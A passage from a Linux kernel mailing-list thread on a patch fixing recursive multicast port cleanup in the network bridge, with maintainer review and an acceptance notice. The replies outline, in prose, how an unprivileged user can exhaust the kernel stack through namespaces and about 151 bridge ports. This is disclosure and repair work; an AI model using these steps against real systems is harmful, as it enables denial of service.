 				       br_sg_port_rht_params);
-		br_multicast_sg_del_exclude_ports(mp);
+		if (sg_del_exclude_ports)
+			br_multicast_sg_del_exclude_ports(mp);
 	} else {
 		br_multicast_star_g_handle_mode(pg, MCAST_INCLUDE);
 	}
@@ -832,6 +838,13 @@ void br_multicast_del_pg(struct net_bridge_mdb_entry *mp,
 		mod_timer(&mp->timer, jiffies);
 }
 
+void br_multicast_del_pg(struct net_bridge_mdb_entry *mp,
+			 struct net_bridge_port_group *pg,
+			 struct net_bridge_port_group __rcu **pp)
+{
+	__br_multicast_del_pg(mp, pg, pp, true);
+}
+
 static void br_multicast_find_del_pg(struct net_bridge *br,
 				     struct net_bridge_port_group *pg)
 {
-- 
2.34.1

^ permalink raw reply related	[flat|nested] 6+ messages in thread

* Re: [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup
  2026-09-26 17:04 [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup Ren Wei
  2026-09-26 17:04 ` [PATCH net 1/1] net: bridge: avoid recursive multicast port cleanup Ren Wei
@ 2026-09-27 16:30 ` Andrew Lunn
  2026-09-27 19:35   ` Zixuan Chai
  2026-10-05  2:40 ` patchwork-bot+netdevbpf
  2 siblings, 1 reply; 6+ messages in thread
From: Andrew Lunn @ 2026-09-27 16:30 UTC (permalink / raw)
  To: Ren Wei
  Cc: bridge, netdev, razor, idosch, davem, edumazet, kuba, pabeni,
	horms, vega, petalzu987

On Sun, Sep 27, 2026 at 01:04:38AM +0800, Ren Wei wrote:
> From: Zixuan Chai <petalzu987@gmail.com>
> 
> Hi Linux kernel maintainers,
> 
> We found and validated an issue in net/bridge/br_multicast.c. The bug is
> reachable by a non-root user via user and network namespaces. We've tested
> it, and it should not affect any other bridge multicast functionality.
> 
> This bug is tracked at: https://bugtracker.nebusec.ai/f/4342
> 
> We will provide detailed information about the bug in this email, along
> with a PoC to trigger it.
> 
> ---- details below ----
> 
> Bug details:
> 
> When an EXCLUDE (*,G) port is deleted, br_multicast_star_g_handle_mode()
> removes its corresponding temporary STAR_EXCL (S,G) port. For an (S,G)
> entry, br_multicast_del_pg() then calls
> br_multicast_sg_del_exclude_ports() to remove the remaining automatically
> added ports. That helper also calls br_multicast_del_pg() for each port,
> which re-enters the same cleanup and adds another stack frame per port.
> With enough ports, the task hits the kernel stack guard page.

What is the value of "enough"?

We get lots of bug reports for theoretical issues which in practice
will never happen. And we get some reports for real issues which can
happen. You are more likely to get your reported looked at if you make
it clear the issues really can happen, give todays systems.

> The PoC uses unshare -Urn, creates 256 temporary EXCLUDE ports and a
> permanent INCLUDE source entry with IGMPv3 enabled, then deletes one
> EXCLUDE port.

So a hardware switch with 256 ports is on the high side, but this
could happen in an SDN setup.

      Andrew

^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup
  2026-09-27 16:30 ` [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup Andrew Lunn
@ 2026-09-27 19:35   ` Zixuan Chai
  2026-09-29  7:44     ` Nikolay Aleksandrov
  0 siblings, 1 reply; 6+ messages in thread
From: Zixuan Chai @ 2026-09-27 19:35 UTC (permalink / raw)
  To: Andrew Lunn
  Cc: Ren Wei, bridge, netdev, razor, idosch, davem, edumazet, kuba,
	pabeni, horms, vega

On Mon, 28 Sept 2026 at 00:31, Andrew Lunn <andrew@lunn.ch> wrote:
>
> On Sun, Sep 27, 2026 at 01:04:38AM +0800, Ren Wei wrote:
> > From: Zixuan Chai <petalzu987@gmail.com>
> >
> > Hi Linux kernel maintainers,
> >
> > We found and validated an issue in net/bridge/br_multicast.c. The bug is
> > reachable by a non-root user via user and network namespaces. We've tested
> > it, and it should not affect any other bridge multicast functionality.
> >
> > This bug is tracked at: https://bugtracker.nebusec.ai/f/4342
> >
> > We will provide detailed information about the bug in this email, along
> > with a PoC to trigger it.
> >
> > ---- details below ----
> >
> > Bug details:
> >
> > When an EXCLUDE (*,G) port is deleted, br_multicast_star_g_handle_mode()
> > removes its corresponding temporary STAR_EXCL (S,G) port. For an (S,G)
> > entry, br_multicast_del_pg() then calls
> > br_multicast_sg_del_exclude_ports() to remove the remaining automatically
> > added ports. That helper also calls br_multicast_del_pg() for each port,
> > which re-enters the same cleanup and adds another stack frame per port.
> > With enough ports, the task hits the kernel stack guard page.
>
> What is the value of "enough"?

Thanks for your review.
By "enough", we mean 151 temporary EXCLUDE ports in our tested setup.
This is the smallest number of ports we have tested that triggers the
issue.

> We get lots of bug reports for theoretical issues which in practice
> will never happen. And we get some reports for real issues which can
> happen. You are more likely to get your reported looked at if you make
> it clear the issues really can happen, give todays systems.
>
> > The PoC uses unshare -Urn, creates 256 temporary EXCLUDE ports and a
> > permanent INCLUDE source entry with IGMPv3 enabled, then deletes one
> > EXCLUDE port.
>
> So a hardware switch with 256 ports is on the high side, but this
> could happen in an SDN setup.

We also believe this is realistic in SDN and container setups, where a
single bridge can have hundreds of virtual ports.

Thanks,
Zixuan Chai

^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup
  2026-09-27 19:35   ` Zixuan Chai
@ 2026-09-29  7:44     ` Nikolay Aleksandrov
  0 siblings, 0 replies; 6+ messages in thread
From: Nikolay Aleksandrov @ 2026-09-29  7:44 UTC (permalink / raw)
  To: Zixuan Chai, Andrew Lunn
  Cc: Ren Wei, bridge, netdev, idosch, davem, edumazet, kuba, pabeni,
	horms, vega

On 27/09/2026 22:35, Zixuan Chai wrote:
> On Mon, 28 Sept 2026 at 00:31, Andrew Lunn <andrew@lunn.ch> wrote:
>>
>> On Sun, Sep 27, 2026 at 01:04:38AM +0800, Ren Wei wrote:
>>> From: Zixuan Chai <petalzu987@gmail.com>
>>>
>>> Hi Linux kernel maintainers,
>>>
>>> We found and validated an issue in net/bridge/br_multicast.c. The bug is
>>> reachable by a non-root user via user and network namespaces. We've tested
>>> it, and it should not affect any other bridge multicast functionality.
>>>
>>> This bug is tracked at: https://bugtracker.nebusec.ai/f/4342
>>>
>>> We will provide detailed information about the bug in this email, along
>>> with a PoC to trigger it.
>>>
>>> ---- details below ----
>>>
>>> Bug details:
>>>
>>> When an EXCLUDE (*,G) port is deleted, br_multicast_star_g_handle_mode()
>>> removes its corresponding temporary STAR_EXCL (S,G) port. For an (S,G)
>>> entry, br_multicast_del_pg() then calls
>>> br_multicast_sg_del_exclude_ports() to remove the remaining automatically
>>> added ports. That helper also calls br_multicast_del_pg() for each port,
>>> which re-enters the same cleanup and adds another stack frame per port.
>>> With enough ports, the task hits the kernel stack guard page.
>>
>> What is the value of "enough"?
> 
> Thanks for your review.
> By "enough", we mean 151 temporary EXCLUDE ports in our tested setup.
> This is the smallest number of ports we have tested that triggers the
> issue.
> 
>> We get lots of bug reports for theoretical issues which in practice
>> will never happen. And we get some reports for real issues which can
>> happen. You are more likely to get your reported looked at if you make
>> it clear the issues really can happen, give todays systems.
>>
>>> The PoC uses unshare -Urn, creates 256 temporary EXCLUDE ports and a
>>> permanent INCLUDE source entry with IGMPv3 enabled, then deletes one
>>> EXCLUDE port.
>>
>> So a hardware switch with 256 ports is on the high side, but this
>> could happen in an SDN setup.
> 
> We also believe this is realistic in SDN and container setups, where a
> single bridge can have hundreds of virtual ports.
> 
> Thanks,
> Zixuan Chai

Noone will setup an mdb with 150 ports, sorry but it is not realistic at all,
not even by a long shot. I'd send this for net-next.

Either way the fix is small and looks correct.

Acked-by: Nikolay Aleksandrov <razor@blackwall.org>



^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup
  2026-09-26 17:04 [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup Ren Wei
  2026-09-26 17:04 ` [PATCH net 1/1] net: bridge: avoid recursive multicast port cleanup Ren Wei
  2026-09-27 16:30 ` [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup Andrew Lunn
@ 2026-10-05  2:40 ` patchwork-bot+netdevbpf
  2 siblings, 0 replies; 6+ messages in thread
From: patchwork-bot+netdevbpf @ 2026-10-05  2:40 UTC (permalink / raw)
  To: Ren Wei
  Cc: bridge, netdev, razor, idosch, davem, edumazet, kuba, pabeni,
	horms, vega, petalzu987

Hello:

This patch was applied to netdev/net.git (main)
by David S. Miller <davem@davemloft.net>:

On Sun, 27 Sep 2026 01:04:38 +0800 you wrote:
> From: Zixuan Chai <petalzu987@gmail.com>
> 
> Hi Linux kernel maintainers,
> 
> We found and validated an issue in net/bridge/br_multicast.c. The bug is
> reachable by a non-root user via user and network namespaces. We've tested
> it, and it should not affect any other bridge multicast functionality.
> 
> [...]

Here is the summary with links:
  - [net,1/1] net: bridge: avoid recursive multicast port cleanup
    https://git.kernel.org/netdev/net/c/5158353121ba

You are awesome, thank you!
-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html



^ permalink raw reply	[flat|nested] 6+ messages in thread

end of thread, other threads:[~2026-10-05  2:40 UTC | newest]

Thread overview: 6+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-26 17:04 [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup Ren Wei
2026-09-26 17:04 ` [PATCH net 1/1] net: bridge: avoid recursive multicast port cleanup Ren Wei
2026-09-27 16:30 ` [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup Andrew Lunn
2026-09-27 19:35   ` Zixuan Chai
2026-09-29  7:44     ` Nikolay Aleksandrov
2026-10-05  2:40 ` patchwork-bot+netdevbpf

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox